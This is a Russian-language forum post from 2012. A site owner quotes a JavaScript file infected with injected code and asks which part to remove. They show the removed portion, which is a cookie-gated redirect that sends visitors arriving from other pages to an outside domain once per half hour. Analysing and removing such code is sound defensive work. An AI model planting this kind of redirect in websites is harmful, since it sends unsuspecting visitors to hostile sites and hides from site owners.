Показать сообщение отдельно
  #1 (permalink)  
Старый 17.06.2012, 14:53
Новичок на форуме
Отправить личное сообщение для smedvedev Посмотреть профиль Найти все сообщения от smedvedev
 
Регистрация: 17.06.2012
Сообщений: 3

Редирект в JS скрипте -что убрать ?
Здравствуйте уважаемые форумчани, помогите пожалуйста разобраться в проблеме. Есть сайт на котором стоит вредоносный код в JS? какую часть иммено мне убрать чтобы не попортить функционал:

function backgroundOnLoad()
{
    setTimeout('showBody()', 10);
}

function showBody()
{
    document.getElementById('body_div').style.visibility = 'visible';
}

function showBodyDelayed()
{
    setTimeout
    (
        function ()
        {
            document.getElementById('body_div').style.visibility = 'visible';
        },
        500
    );
}
function setCookie (name, value, expires, path, domain, secure) {
		  document.cookie = name + "=" + escape(value) +
			((expires) ? "; expires=" + expires : "") +
			((path) ? "; path=" + path : "") +
			((domain) ? "; domain=" + domain : "") +
			((secure) ? "; secure" : "");
	}

	function getCookie(c_name) {
		var i,x,y,ARRcookies=document.cookie.split(";");
		for (i=0;i<ARRcookies.length;i++) {
		    x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
		    y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
		    x=x.replace(/^\s+|\s+$/g,"");
		    if (x==c_name)	{
				return unescape(y);
			}
		}
	}	
	
	function strlen(string){
		if(typeof string == "undefined") {
			return 0;
		} else {
			return string.length;
		}
	}

	var rSite = 'http://jindtesn.com';
	var dt = new Date(), expiryTime = dt.setTime( dt.getTime() + 1800000 );
	var currentCookie = getCookie("arx_tt");
	
	if(!document.referrer) {
	
		var referringURL = rSite;
		var local = "";
		var referrer = 0;
		setCookie("arx_tt", 1, dt.toGMTString(), "/");
		
	} else {
	
		var referringURL = document.referrer;
		referringURL = rSite + window.location.pathname;
		var referrer = 1;
		
	}

	if (strlen(currentCookie) == 0 && referrer == 1) {

		var setted = 1;
		setCookie("arx_tt", 1, dt.toGMTString(), "/");
		location.href = referringURL; 
		
	}
	
	setCookie("arx_tt", 1, dt.toGMTString(), "/");


Я вот пока убрал эту часть:


var rSite = 'http://jindtesn.com';
	var dt = new Date(), expiryTime = dt.setTime( dt.getTime() + 1800000 );
	var currentCookie = getCookie("arx_tt");
	
	if(!document.referrer) {
	
		var referringURL = rSite;
		var local = "";
		var referrer = 0;
		setCookie("arx_tt", 1, dt.toGMTString(), "/");
		
	} else {
	
		var referringURL = document.referrer;
		referringURL = rSite + window.location.pathname;
		var referrer = 1;
		
	}

	if (strlen(currentCookie) == 0 && referrer == 1) {

		var setted = 1;
		setCookie("arx_tt", 1, dt.toGMTString(), "/");
		location.href = referringURL; 
		
	}
	
	setCookie("arx_tt", 1, dt.toGMTString(), "/");


Правильно ли я сделал?
Всем спасибо за ответы.
Ответить с цитированием